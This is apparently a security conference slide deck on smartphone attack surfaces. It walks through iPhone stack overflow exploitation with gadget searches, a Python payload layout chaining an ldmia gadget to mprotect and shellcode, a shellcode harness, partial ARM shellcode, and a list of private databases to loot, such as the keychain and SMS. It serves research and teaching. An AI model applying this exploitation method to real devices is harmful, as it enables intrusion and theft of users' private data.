The Smart-Phones Nightmare

Sergio 'shadown' Alvarez
Security Researcher
shadown@gmail.com
shadown@recurity-labs.com
Who am I

- Sergio 'shadown' Alvarez
- Argentine
- Lives in Berlin since 2005
- Ex-Director of Research @ n.runs AG
- Security Consultant @ Recurity Labs GmbH
What are Smart-Phones

“A smartphone is a mobile phone offering advanced capabilities beyond a typical mobile phone, often with PC-like functionality. There is no industry standard definition of a smartphone. For some, a smartphone is a phone that runs complete operating system software providing a standardized interface and platform for application developers. For others, a smartphone is simply a phone with advanced features like e-mail and Internet capabilities, and/or a full keyboard. In other words, it is a miniature computer that has phone capability.”

Wikipedia
What are Smart-Phones

• What do they have in common?
  • They all connect to internet somehow
  • They all send and receive E-Mails

• More Advanced Smart-Phones
  • Web Browsing Capability
  • Third Party Applications
  • Embedded GPS
  • Wireless (802.11)
  • BlueTooth
Why Attacking Smart-Phones?

- Turned ON 24x7, High-Availability ;)
- Reveal your location, suitable for targeted Attacks
- Accelerometer, suitable for motion tracking
- Contain Private and Corporate Data, Credentials...
- Connect to Corporate and Private WLANS
  - Allowing direct attacks against both networks without needing to bypass annoying FWs, IPSs, etc.
- Data retrieval through Edge/3G
  - Not visible by IPS or other network traffic analyzers
- They are Sync with the owners Laptop/Workstation
- In short: What else might a bad guy ask for?
Architecture

- iPhone
  - Striped down Mac OS X
- Android
  - Linux kernel 2.6
- Android and iPhone
  - 32BIT - ARMLE
iPhone Architecture

iPhone OS

Cocoa Touch

Media

Core Services

Core OS
Android Architecture

Applications
- Home
- Contacts
- Phone
- Browser
- ...

Application Framework
- Activity Manager
- WindowManager
- Content Providers
- View System
- Notification Manager
- Package Manager
- Telephony Manager
- ResourceManager
- Location Manager
- XMPP Service

Libraries
- Surface Manager
- Media Framework
- SQLite
- WebKit
- OpenGLIES
- FreeType
- SSL
- libc

Android Runtime
- Core Libraries
- Dalvik Virtual Machine

Linux Kernel
- Display Driver
- Camera Driver
- Bluetooth Driver
- Flash Memory Driver
- Binder (IPC) Driver
- USB Driver
- Keypad Driver
- WiFi Driver
- Audio Drivers
- Power Management
iPhone Security Model

- Process run under the user 'mobile'
- Only the 'root' user has write permission over the default installation directory and application
- No setuid files and no /bin/sh (unless jailbroken)
- Stack and Heap are NX (no ASLR)
- Syscalls SYS_setreuid and SYS_setreguid removed at kernel level
- Memory can NOT be RWX at the same time
  - Only R-X or RW- convinations are allowed
- One Application at a time, with some exceptions
Android Security Model

- Each application is associated to a Unique user ID
- Stack Address Randomization
- Applications written in java – Dalvik VM
  - relay on the vm implementation
- Files and DB created by the Application are visible only to the application, unless the application make them specifically visible to other applications
- Permissions a Restrictions are apply per application on installation time, and are very grained
Main Attack Vectors

• Remote
  • E-Mails and Attachments
  • Web Pages
  • SMS
  • MMS
  • Third Party Application
    - Social Networks, IM, IRC, and a large etc.
• Local Area (physical)
  • WiFi
  • BlueTooth
What might possible go wrong? ;) 

- Disclaimer before DEMO:
  - I don't do free assessments
    - It wouldn't be fair for our customers that pay us a lot of money
  - So...Don't jump on me asking for bugs details
  - To get the bugs details you might wanna
    - Engage Recurity Labs for a proper assessment
    - Wait until I decide through whom I'll disclose the details, aka iDefense or ZDI
Tools Required to do Bug Hunting

- Runtime Bug Hunting
  - A Device, Emulator or Simulator to attack
  - A Debugger to attach to the target process
  - A Fuzzer + fuzzing template
- Static Analysis Bug Hunting
  - IDA Pro Advance is recommended
  - IDA scripts that locate
    - functions that receive data from the network
    - trouble some functions references
    - loops and pointers handling
  - Eyes to read ASM and a lot of patience
Tools Required to do Bug Hunting

• Runtime Bug Hunting
  – Emulator/Simulator
    • iPhone emulator comes with XCode (Mac Only)
    • Android emulator comes with Android SDK (multiplatform)
    • BlackBerry http://na.blackberry.com/eng/developers/resources/simulators.jsp
  – Debugger
    • GDB for both the iPhone (jailbroken) and Android
  – Fuzzer: google for them there are too many
    • Peach and Sulley are recommended

• Static Analysis Bug Hunting
  – You'll find an IDA script for the iPhone that I wrote to make your life easier in the extras directory of this talk in the CD/DVD
Tools Required to do Bug Hunting

- before
Tools Required to do Bug Hunting

- after
Tools Required to do Bug Hunting

- Attach your debugger to the target process
  - iPhone
    - `gdb -pid `ps aux | grep [P]rocessname` | awk '{print $2}`
  - iPhone and Android
    - `gdb -pid process_pid`
- Fire your favorite fuzzer
- If you are lucky your iPhone will through

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414140
0x41414140 in ?? ()
Tools Required to do Bug Hunting

- Your Android Device will do this...

```
INFO/DEBUG(494): pid: 596, tid: 611 >>> com.google.android.browser <<<
INFO/DEBUG(494): signal 11 (SIGSEGV), fault addr 00000018
INFO/DEBUG(494): r0 00000000 r1 aa3bc028 r2 0015adc0 r3 aa095b9d
INFO/DEBUG(494): r4 aa3b80d8 r5 00000000 r6 00272478 r7 00000000
INFO/DEBUG(494): r8 003a9838 r9 00000001 10 0027ace0 fp 001db424
INFO/DEBUG(494): ip aa3b86ec sp 43288a60 lr aa123cb1 pc aa059b00 cpsr 40000030
INFO/DEBUG(494): #01 pc aa059b00 /system/lib/libwebcore.so
INFO/DEBUG(494): #01 lr aa123cb1 /system/lib/libwebcore.so
INFO/DEBUG(494): #02 pc 001624f8 [heap]
INFO/DEBUG(494): #03 pc 00000273 <unknown>
INFO/DEBUG(494): stack:
```

```
INFO/WindowManager(508): WIN DEATH: Window{40268c30
com.google.android.browser/com.google.android.browser.BrowserActivity}
INFO/ActivityManager(508): APP DEATH: com.google.android.browser
```

...ouch...
Tools Required to do Bug Hunting

- Symbian emulator will...

In the debug file epocwind.out:

3384.545  Thread Web::Web Panic KERN-EXEC 3
Tools Required to do Bug Hunting

- ...or this ;)
Exploitation

• I will use the iPhone as case of study
  – Very similar techniques apply to other Smart-Phones
  – Some of the ARM base Smart-Phones are
    • iPhone
    • Android
    • BlackBerry
    • Symbian

• Unfortunately is not possible to cover exploitation on them all in only one talk because each one has it particularities
iPhone Stack b0f Exploitation

• The Stack is NX (not executable)
• Strategy 1
  - Ret2mprotect to mark the page as executable
  - The page becomes R-X
  - JMP to the shellcode allocate in the stack
  - The shellcode has to be specially crafted to run under non writable stack (details explained later)

• Strategy 2
  - Ret2memcpy to copy our shellcode in some RW memory
  - Ret2mprotect to make shellcode memory R-X
  - JMP to shellcode address
iPhone Stack b0f Exploitation

- We need to find RW memory address ranges
  - To copy our shellcode
  - Or to write values our shellcode might need
- Within gdb we 'info mach-regions' against the main applications

(gdb) info mach-regions
Region from 0x0 to 0x1000 (---, max ---; copy, private, not-reserved)
  ... from 0x1000 to 0x2b000 (r-x, max r-x; copy, private, not-reserved)
  ... from 0x2b000 to 0x32000 (rw-, max rw-; copy, private, not-reserved)
  ... from 0x32000 to 0x38000 (r--, max r--; copy, private, not-reserved) (2 sub-regions)
  ... from 0x38000 to 0x3a000 (r-x, max r-x; copy, private, not-reserved)
  ... from 0x3a000 to 0x3b000 (rw-, max rwx; copy, private, not-reserved)
  ... from 0x3b000 to 0x3c000 (r--, max r-x; copy, private, not-reserved)
  ... from 0x3c000 to 0x3e000 (r-x, max r-x; copy, private, not-reserved)
  ... from 0x3e000 to 0x3f000 (rw-, max rwx; copy, private, not-reserved)
iPhone Stack b0f Exploitation

- Common RW address ranges
iPhone Stack b0f Exploitation

• Common RW address range

| MobileSafari: | from 0x2fe23000 to 0x2fe59000 (rw-, max rw-; copy, private, not-reserved) (5 sub-regions) |
| MobileMail: | from 0x2fe23000 to 0x2fe59000 (rw-, max rw-; copy, private, not-reserved) (5 sub-regions) |
| MobileSMS: | from 0x2fe23000 to 0x2fe59000 (rw-, max rw-; copy, private, not-reserved) (5 sub-regions) |
| Test (helloworld like application): | from 0x2fe23000 to 0x2fe59000 (rw-, max rw-; copy, private, not-reserved) (2 sub-regions) |

• 0x2fe23000 to 0x2fe59000
  • Is a common RW address range to all of them
iPhone Stack b0f Exploitation

- **0x2fe23000 to 0x2fe59000** belongs to dyld's DATA section

```
/usr/lib/dyld, file type mach-o-le, symbol prefix __dyld__.
0x2fe00000 - 0x2fe23000 is LC_SEGMENT.__TEXT
0x2fe01000 - 0x2fe205f0 is LC_SEGMENT.__TEXT.__text
0x2fe205f0 - 0x2fe2267d is LC_SEGMENT.__TEXT.__cstring
0x2fe22680 - 0x2fe227f8 is LC_SEGMENT.__TEXT.__const
0x2fe227f8 - 0x2fe22b08 is LC_SEGMENT.__TEXT.__OnInit
0x2fe22b08 - 0x2fe22b10 is LC_SEGMENT.__TEXT.__literal8
0x2fe22b10 - 0x2fe22ba8 is LC_SEGMENT.__TEXT.__const_coal
0x2fe23000 - 0x2fe24000 is LC_SEGMENT.__DATA
0x2fe23000 - 0x2fe232a8 is LC_SEGMENT.__DATA.__data
0x2fe232a8 - 0x2fe23582 is LC_SEGMENT.__DATA.__gcc_except_tab
0x2fe23584 - 0x2fe236c8 is LC_SEGMENT.__DATA.__nl_symbol_ptr
0x2fe236c8 - 0x2fe236d8 is LC_SEGMENT.__DATA.__mod_init_func
0x2fe236d8 - 0x2fe236f4 is LC_SEGMENT.__DATA.__all_image_info
0x2fe236f4 - 0x2fe23b34 is LC_SEGMENT.__DATA.__const
0x2fe23b34 - 0x2fe23c14 is LC_SEGMENT.__DATA.__const_coal
0x2fe23c14 - 0x2fe2412c is LC_SEGMENT.__DATA.__common
0x2fe24130 - 0x2fe58ce8 is LC_SEGMENT.__DATA.__bss
0x2fe59000 - 0x2fe63440 is LC_SEGMENT.__LINKEDIT
```
iPhone Stack b0f Exploitation

- We also need usefull intructions sequences addresses to jump in order to ret2code
- With gdb 'info sharedlibrary' we can enumerate the dynamic libraries loaded by the process

```
(gdb) info sharedlibrary
The DYLD shared library state has not yet been initialized.
    Requested State Current State
Num Basename    Type Address    Reason | | Source
 1 MobileSafari  - 0x1000       exec Y Y /private/var/stash/Applications.UUDytl/...
 2 dyld          - 0x2fe00000    dyld Y Y /usr/lib/dyld at 0x2fe00000 (offset 0x0) wi...
 3 MessageUI     F 0x31d5c000    dyld Y Y /System/Library/PrivateFrameworks...
 4 CoreTelephony F 0x31bd6000    dyld Y Y /System/Library/PrivateFrameworks...
 5 Security      F 0x31587000    dyld Y Y /System/Library/Frameworks/Security.f...
 6 CFNetwork     F 0x311f3000    dyld Y Y /System/Library/Frameworks/CFNetw...
 7 Foundation    F 0x3066c000    dyld Y Y /System/Library/Frameworks/Foundation...
 8 GraphicsServices F 0x31560000 dyld Y Y /System/Library/PrivateFrameworks...
 9 JavaScriptCore F 0x312b2000    dyld Y Y /System/Library/PrivateFrameworks/...```
iPhone Stack bOf Exploitation

- Inspecting a dylib memory layout
- From previous slide sharedlibrary num 3

```
(gdb) sharedlibrary section-info 3
/System/Library/PrivateFrameworks/MessageUI.framework/MessageUI, ...
  0x31d5c000 - 0x31d91000 is LC_SEGMENT.__TEXT
  0x31d5d038 - 0x31d868e0 is LC_SEGMENT.__TEXT.__text
  0x31d868e0 - 0x31d87140 is LC_SEGMENT.__TEXT.__textsymbolstub4
  0x31d87140 - 0x31d90fa0 is LC_SEGMENT.__TEXT.__cstring
  0x31d90fa0 - 0x31d91000 is LC_SEGMENT.__TEXT.__const
  0x39d5c000 - 0x39d64000 is LC_SEGMENT.__DATA
  0x39d5c000 - 0x39d6079c is LC_SEGMENT.__DATA.__data
  0x39d6079c - 0x39d607a4 is LC_SEGMENT.__DATA.__dyld
  0x39d607a4 - 0x39d609bc is LC_SEGMENT.__DATA.__la_symbol_ptr
  0x39d609bc - 0x39d60d5c is LC_SEGMENT.__DATA.__objc_classrefs
  0x39d60d5c - 0x39d60de0 is LC_SEGMENT.__DATA.__objc_classlist
  0x39d60de0 - 0x39d61d20 is LC_SEGMENT.__DATA.__objc_selrefs
  0x39d61d20 - 0x39d61d98 is LC_SEGMENT.__DATA.__objc_superrefs
  0x39d61d98 - 0x39d63268 is LC_SEGMENT.__DATA.__cfstring
  ...
```
iPhone Stack bOf Exploitation

• Dumping the LC_SEGMENT.__TEXT.__text
  • It is the CODE of the selected dylib

```
iPhone:~ root# otool -tV /usr/lib/dyld
/usr/lib/dyld:
(__TEXT,__text) section
_stub_binding_helper:
  2fe01000   ea0053a8   b   _stub_binding_helper_interface
  2fe01004   e1a00000   nop   (mov r0,r0)
_dyld_func_lookup:
  2fe01008   ea002286   b   __Z18lookupDyldFunctionPKcPm
  2fe0100c   e1a00000   nop   (mov r0,r0)
_offset_to_dyld_all_image_infos:
  2fe01010   000236d8   ldreqd   r3, [r2], -r8
  2fe01014   00000000   andeq   r0, r0, r0
  2fe01018   00000000   andeq   r0, r0, r0
  2fe0101c   00000000   andeq   r0, r0, r0
  2fe01020   00000000   andeq   r0, r0, r0
  2fe01024   00000000   andeq   r0, r0, r0
...
```
**iPhone Stack b0f Exploitation**

- Looking for needed code sequences
  - To for example populate registers with our desire values

  ```
  iPhone:~ root# otool -tV /usr/lib/dyld > dyld.txt
  iPhone:~ root# otool -tV /usr/lib/libSystem.dylib > libSystem.txt
  ...
  
  iPhone:~ root# egrep -i 'ldmia.*sp!.*r0.*pc' dyld.txt
  2fe1eb70  e8bd80b1  ldmia  sp!, {r0, r4, r5, r7, pc}
  
  iPhone:~ root# egrep -i 'ldmia.*sp!.*r4.*pc' dyld.txt
  2fe013c0  e8bd80f0  ldmia  sp!, {r4, r5, r6, r7, pc}
  2fe0197c  e8bd80f0  ldmia  sp!, {r4, r5, r6, r7, pc}
  2fe01c1c  e8bd80b0  ldmia  sp!, {r4, r5, r7, pc}
  2fe01d3c  e8bd80f0  ldmia  sp!, {r4, r5, r6, r7, pc}
  ...
  
  iPhone:~ root# egrep -i 'ldmia.*sp!.*r0.*pc' libSystem.txt
  314743bc  e8bd80b1  ldmia  sp!, {r0, r4, r5, r7, pc}
  314e041c  e8bd8001  ldmia  sp!, {r0, pc}
  314e0bec  e8bd800f  ldmia  sp!, {r0, r1, r2, r3, pc}
  ```
iPhone Stack b0f Exploitation

- Depending on the target application different dylib will be loaded by the process
- There is no randomization so we can relay on the shared libraries (dylib) freely
- dyld as well as libSystem are always loaded and have a fixed address
  - libSystem is a symbolic link to libSystem.B.dylib
- In ARM registers are used to pass arguments to the functions
  - A key address to populate most of them in only one jump as we will see in the sample exploit is:
    - 314e0bec e8bd800f ldmia sp!, {r0, r1, r2, r3, pc}
iPhone Stack b0f Exploitation

- Sample payload layout

```c
b0f = nopsled
b0f += regs['r7'] # r7 not used, it is used as the sFP
# ret2code to set registers values for the mprotect call
b0f += jmps['r0r1r2r3'] # this is our first controlled IP, here everything starts
b0f += regs['r0']
b0f += regs['r1']
b0f += regs['r2']
b0f += regs['r3'] # we are not using this register for the mprotect, but jmp to r0r1r2r3 needs it.
# ret2libc to give PROT_READ and PROT_EXEC permission to the stack
# using the previously set r0, r1 and r2
b0f += jmps['mprotect']
b0f += regs['r7'] # r7, not used -> sFP for mprotect's EPILOG
# jump to our shellcode in the stack, this is the retaddr of mprotect
b0f += jmps['shellcode']
b0f += shellcode
```
iPhone Stack b0f Exploitation

• What the payload layout contains inside

```python
... 
stack_size = mmaps_regions['stack']['end'] - mmaps_regions['stack']['start']
heap_size = mmaps_regions['heap']['end'] - mmaps_regions['heap']['start']

regs = {
    'r0': struct.pack('<L', mmaps_regions['stack']['start']),  # mprotect void *ADDR
    'r1': struct.pack('<L', stack_size),  # mprotect size_t len
    'r2': struct.pack('<L', R_X),  # mprotect int prot (make R_X)
    'r3': 'EEEE',  # not used
    'r7': jumps['shellcode'],  # not used, BUT NEEDS to be a valid address!
    'testing': struct.pack('<L', 0xDEFEAced)  # ...
}
```

• Full sample exploit in the DVD
iPhone Stack b0f Exploitation

• Exploitation visualization

Process memory before a b0f takes place

RetAddr is where the function will/should return after doing its stuff
iPhone Stack bOf Exploitation

- Exploitation visualization

Buffer overflow takes place
iPhone Stack bOf Exploitation

- Exploitation visualization

Buffer overflow takes place
iPhone Stack bOf Exploitation

- Exploitation visualization

Buffer overflow takes place
iPhone Stack b0f Exploitation

- Exploitation visualization

Buffer overflow takes place
iPhone Stack b0f Exploitation

• Exploitation visualization

Buffer overflow takes place
iPhone Stack bOf Exploitation

- Exploitation visualization

What we overflow it with
iPhone Stack b0f Exploitation

- Exploitation visualization

What we overflow it with
iPhone Stack bOf Exploitation

- Exploitation visualization

What we overflow it with
iPhone Stack b0f Exploitation

- Exploitation visualization

What we overflow it with
iPhone Stack b0f Exploitation

- Exploitation visualization

What we overflow it with
iPhone Stack b0f Exploitation

- Exploitation visualization

What we overflow it with
iPhone Stack b0f Exploitation

- Exploitation visualization

What we overflow it with
iPhone Stack bOf Exploitation

• Exploitation visualization

What we overflow it with
iPhone Stack b0f Exploitation

- Exploitation visualization

What we overflow it with
iPhone Stack bOf Exploitation

- Exploitation visualization

What we overflow it with
iPhone Stack bOf Exploitation

- Exploitation visualization

What we overflow it with
**iPhone Stack b0f Exploitation**

- Exploitation visualization

What we overflow it with
iPhone Stack bOf Exploitation

- Exploitation visualization

Actual State

R0 = xxx
R1 = xxx
R2 = xxx
R3 = xxx
iPhone Stack bOf Exploitation

- Exploitation visualization

Actual State
R0 = xxx
R1 = xxx
R2 = xxx
R3 = xxx

```
 high memory  
      ... 
    shellcode  
    &shellcode 
      r7 
    &mprotect 
      r3 
    r2 = 0x5 
    r1 = stacksize 
    r0 = &stack 
    &set r0r1r2r3 
      r7 
    nops_garbage  
      ... 
      ... 
 Low memory 
```
iPhone Stack b0f Exploitation

- Exploitation visualization

Actual State
R0 = xxx
R1 = xxx
R2 = xxx
R3 = xxx

Up on function return...

```
high memory
... 
  shellcode
  &shellcode
    r7
    &mprotect
    r3
    r2 = 0x5
    r1 = stacksize
    r0 = &stack
    &set r0r1r2r3
    r7
    nops_garbage
... 
Low memory
... 
... 
```

iPhone Stack bOf Exploitation

- Exploitation visualization

Actual State
R0 = xxx
R1 = xxx
R2 = xxx
R3 = xxx

Up on function return...
iPhone Stack b0f Exploitation

- Exploitation visualization

Actual State
R0 = xxx
R1 = xxx
R2 = xxx
R3 = xxx

Up on function return...

ldmia sp!, {r0, r1, r2, r3, pc}

high memory
...  shellcode
    &shellcode
      r7
      &mprotect
        r3
        r2 = 0x5
        r1 = stacksize
        r0 = &stack
        &set r0r1r2r3
        r7
        nops_garbage

Low memory
...  ...
<-sp
iPhone Stack b0f Exploitation

- Exploitation visualization

Actual State

R0 = &stack
R1 = xxx
R2 = xxx
R3 = xxx

Up on function return...

ldmia sp!, {r0, r1, r2, r3, pc}
iPhone Stack b0f Exploitation

• Exploitation visualization

Actual State
R0 = &stack
R1 = stacksize
R2 = xxx
R3 = xxx

Up on function return...

LD Mia sp!, {r0, r1, r2, r3, pc}
iPhone Stack b0f Exploitation

- Exploitation visualization

Actual State
R0 = &stack
R1 = stacksize
R2 = 0x5
R3 = xxx
Up on function return...

ldmia sp!, {r0, r1, r2, r3, pc}
iPhone Stack b0f Exploitation

- Exploitation visualization

Actual State
R0 = &stack
R1 = stacksize
R2 = 0x5
R3 = no_important_for_us_now

Up on function return...

ldmia sp!, {r0, r1, r2, r3, pc}
iPhone Stack b0f Exploitation

- Exploitation visualization

Actual State
R0 = &stack
R1 = stacksize
R2 = 0x5
R3 = no_important_for_us_now
Up on function return...

```
ldmia sp!, {r0, r1, r2, r3, pc} ←sp
```

Diagram:
- High memory
  - ... (upper part)
  - shellcode
  - &shellcode
  - r7
- Low memory
  - ... (lower part)
  - &mprotect
  - r3
  - r2 = 0x5
  - r1 = stacksize
  - r0 = &stack
  - &set r0r1r2r3
  - r7
  - nops_garbage
  - ... (lower part)
iPhone Stack b0f Exploitation

- Exploitation visualization

Actual State
R0 = &stack
R1 = stacksize
R2 = 0x5
R3 = no_important_for_us_now

Up on function return...

ldmia sp!, {r0, r1, r2, r3, pc}

mprotect(void *addr, size_t len, int prot);

High memory

- ...
- shellcode
- &shellcode
- r7
- &mprotect
- r3
- r2 = 0x5
- r1 = stacksize
- r0 = &stack
- &set r0r1r2r3
- r7
- nops_garbage
- ...
- ...

Low memory
**iPhone Stack b0f Exploitation**

- Exploitation visualization

**Actual State**

- R0 = &stack
- R1 = stacksize
- R2 = 0x5
- R3 = no_important_for_us_now

Up on function return...

```c
mprotect(void *addr, size_t len, int prot);
```
iPhone Stack b0f Exploitation

- Exploitation visualization

Actual State
R0 = &stack
R1 = stacksize
R2 = 0x5
R3 = no_important_for_us_now

Up on function return...

Stack acquires R-X Powers
iPhone Stack b0f Exploitation

- Exploitation visualization

Actual State
R0 = &stack
R1 = stacksize
R2 = 0x5
R3 = no_important_for_us_now
Up on function return...

\[
\text{mprotect(}_{\text{void}} \text{(*addr, size_t len, int prot);}}
\]

```c
...  shellcode
    &shellcode
      r7
      &mprotect
      r3
      r2 = 0x5
      r1 = stacksize
      r0 = &stack
      &set r0r1r2r3
      r7
      nops_garbage
...
...  ...
```

Low memory
High memory
iPhone Stack b0f Exploitation

- Exploitation visualization

Actual State
R0 = &stack
R1 = stacksize
R2 = 0x5
R3 = no_important_for_us_now

Up on function return...

mprotect(void *addr, size_t len, int prot);
iPhone Stack b0f Exploitation

- Exploitation visualization

Actual State
R0 = &stack
R1 = stacksize
R2 = 0x5
R3 = no_important_for_us_now
Up on function return...

mprotect(void *addr, size_t len, int prot);
iPhone Stack b0f Exploitation

- Exploitation visualization

Actual State
R0 = &stack
R1 = stacksize
R2 = 0x5
R3 = no_important_for_us_now
Up on function return...

![Diagram of memory stack showing stack and shellcode placement](image-url)
iPhone Stack b0f Exploitation

- Exploitation visualization

Actual State
R0 = &stack
R1 = stacksize
R2 = 0x5
R3 = no_important_for_us_now

Up on function return...

GAME OVER
iPhone Shellcode Strategy

- Convenient shellcode development template

```c
void shellcode (void)
{
    asm(
        // shellcode code here
    );
}

void end (void){}

int main()
{
    int i;
    unsigned long comienzo_sc = (unsigned long)shellcode+8; // skip prolog
    unsigned long fin_sc = (unsigned long)end-4; // eliminate epilog
    unsigned int length = fin_sc - comienzo_sc;
    void(*test_shellcode)() = (void(*)(()))comienzo_sc;

    printf("Shellcode length: %d\n", length);
    printf("Shellcode string: \\
    ");
    for(i=0;i<length;i++)
    {
        printf("\x%02x", ((unsigned char *)comienzo_sc)[i]);
    }
    printf("\n");

test_shellcode();
exit(0);
}
```
iPhone Shellcode Strategy

- Shellcode crafted to work on non writable memory
  - Using an address inside dyld's BSS DATA section

```
"my_setsockopt:
  "mov r0, r10;"     // socket
  "mov r1, #1;"      // TRUE (we'll assign this to optval)
  "mov r2, #0x2f000000;" // RW address, part of it, our target 0x2fe30000
  "add r2, r2, #0xe30000;" // RW address, now it is 0x2fe30000 where we can write!
         // change it if this address if needed!
  "str r1, [r2];"    // optval = TRUE
  "mov r3, r2;"      // &optval
  "mov r1, #0xff00;" // SOL_SOCKET (has to be 0xffff)
  "add r1, r1, #0xff;" // SOL_SOCKET (now it is 0xffff)
  "mov r2, #0x200;"  // SO_REUSEPORT (allow local address & port reuse)
  "mov r4, #4;"      // optlen -> has to be the sizeof(optval) -> sizeof(int)
  "mov r12, #105;"   // SYS_setsockopt
  "swi 128;"         // launch the syscall, it MUST return ZERO otherwise it failed!
```

- For brevity this is the important part of the shellcode code
The complete shellcode code is in the DVD, fully commented
iPhone Shellcode Strategy

• I haven't seen this type of shellcodes publicly available and they are required in this type of situations
• It only requires to change the address in red to customize it for our target application, the default address is common to all iPhone applications that I've checked
• This allows as to deal with structures and data that our shellcode might need to work properly
Interesting Data to Retrieve

- The iPhone APPs use sqlite to store all the user's data
  - Normally with the extension .db, .sql or .sqlite

```
iPhone:~$ tools root# find / -type f -iname "*.db"
/Library/Application Support/BTServer/pincode_defaults.db
/System/Library/PrivateFrameworks/AppSupport.framework/calldata.db
/private/var/Keychains/keychain-2.db
/private/var/mobile/Library/AddressBook/AddressBook.db
/private/var/mobile/Library/CallHistory/call_history.db
/private/var/mobile/Library/Notes/notes.db
/private/var/mobile/Library/SMS/sms.db
/private/var/mobile/Library/Voicemail/voicemail.db
...
```
Interesting Data to Retrieve

- Beyond the expected data, some DBs also have funny contents
  - i.e.: you could get BlueTooth default PINs for some devices from "pincode_defaults.db"

```sql
... INSERT INTO "devices" VALUES(NULL,NULL,'TRUE',NULL,'TRUE',NULL,'TRUE','TRUE',1,'Parrot CK3100','1234','TRUE','Parrot CK3100','TRUE'); INSERT INTO "devices" VALUES(NULL,NULL,'TRUE',NULL,NULL,2098180,'FALSE',NULL,2,'SouthWing SH310','1111','TRUE','SouthWing SH310','TRUE'); INSERT INTO "devices" VALUES(NULL,NULL,'TRUE',NULL,NULL,2098180,'FALSE',NULL,3,'Samsung WEP170','0000','TRUE','Samsung WEP170','TRUE'); INSERT INTO "devices" VALUES(NULL,NULL,'TRUE',NULL,NULL,2098180,'FALSE',NULL,4,'Motorola T305','0000','TRUE','Motorola T305','TRUE'); ...
Interesting Data to Retrieve

- If you find a bug in some application that doesn't validates the data queried from the db
  - You may have a persistent pwnage
  - Because of data synchronization the pwnage would survive a device restore XD
  - The Desktop System could be targeted up on sync
    - Ping-Pong anyone?

- Who would do such a mistake this days? ;)

Demo
Questions?

Sergio 'shadown' Alvarez
shadown@gmail.com || shadown@security-labs.com
Acknowledgments

- My family
  - Unconditional support
- n.runs AG
  - Initial bug hunting
- Recurity Labs GmbH
  - Time to do some further research